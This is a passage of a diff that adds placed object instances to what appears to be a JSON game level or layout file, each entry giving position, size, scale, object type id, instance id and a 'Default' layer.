+ 736,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2313,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 306,
+ 736,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2314,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 398,
+ 736,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2315,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 490,
+ 736,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2316,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 582,
+ 736,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2317,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 674,
+ 736,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2318,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 30,
+ 831,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2319,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 30,
+ 926,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 474,
+ 2320,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 122,
+ 831,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2321,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 858,
+ 1211,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2322,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -217,
+ 768,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 477,
+ 2323,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -217,
+ 928,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 478,
+ 2324,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 766,
+ 926,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 474,
+ 2325,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 214,
+ 831,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2326,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 306,
+ 831,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2327,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 398,
+ 831,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2328,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 490,
+ 831,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2329,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 582,
+ 831,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2330,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 674,
+ 831,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2331,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 122,
+ 926,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2332,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 214,
+ 926,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2333,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 306,
+ 926,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2334,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 398,
+ 926,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2335,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 490,
+ 926,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2336,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 582,
+ 926,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2337,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 674,
+ 926,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2338,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 766,
+ 830,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2339,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 858,
+ 926,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2340,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 858,
+ 1021,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2341,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 858,
+ 1116,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2342,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 766,
+ 1021,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 474,
+ 2343,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 674,
+ 1021,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2344,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 674,
+ 1116,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2345,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 582,
+ 1021,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2346,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 950,
+ 926,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2347,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 950,
+ 1021,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2348,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 950,
+ 1116,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2349,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 950,
+ 1211,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2350,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1042,
+ 926,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2351,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1042,
+ 1021,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2352,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1042,
+ 1116,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2353,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1042,
+ 1211,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2354,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 766,
+ 1116,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2355,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 766,
+ 1211,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2356,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 674,
+ 1211,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2357,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1172,
+ 904,
+ 0,
+ 170,
+ 51,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5098039507865906,
+ 0,
+ 0,
+ []
+ ],
+ 480,
+ 2358,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1340,
+ 904,
+ 0,
+ 170,
+ 51,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5098039507865906,
+ 0,
+ 0,
+ []
+ ],
+ 480,
+ 2359,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1470,
+ 926,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2360,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1562,
+ 926,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2361,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 369.5,
+ 976,
+ 0,
+ 883,
+ 375,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2363,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 490,
+ 1021,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2364,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 582,
+ 1116,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2365,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 398,
+ 1021,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2366,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 490,
+ 1116,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2367,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 985.5,
+ 933.5,
+ 0,
+ 1665,
+ 96,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2368,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 447,
+ 656,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2370,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 859,
+ 852,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2371,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1654,
+ 926,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2372,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1746,
+ 926,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2373,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1976,
+ 784,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9995859265327454,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 2374,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1918.042114257813,
+ 837.8754272460938,
+ 0,
+ 299,
+ 51,
+ 0,
+ -0.5235991477966309,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2377,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2079,
+ 783,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2378,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2170,
+ 783,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2379,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2262,
+ 783,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2380,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2354.48583984375,
+ 593.5787353515625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2381,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2354,
+ 783,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2382,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2446,
+ 688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2383,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2446.784912109375,
+ 593.5534057617188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2384,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2079,
+ 878,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2385,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2170,
+ 878,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2386,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2262,
+ 878,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2387,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2354,
+ 878,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2388,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2446,
+ 783,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2389,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2446,
+ 878,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2390,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2079,
+ 973,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2391,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2170,
+ 973,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2392,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2262,
+ 973,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2393,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2354,
+ 973,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2394,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2446,
+ 973,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2395,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1746,
+ 1021,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2396,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1746,
+ 1117,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2397,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1746,
+ 1212,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2398,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2261.14306640625,
+ 880.600830078125,
+ 0,
+ 457.285888671875,
+ 276.20166015625,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2399,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2538,
+ 593,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2402,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2630,
+ 593,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2403,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2630,
+ 498,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2404,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2722,
+ 498,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2405,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2722,
+ 593,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2406,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2814,
+ 498,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2407,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2814,
+ 593,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2408,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2906,
+ 498,
+ 0,
+ 96,
+ 99,
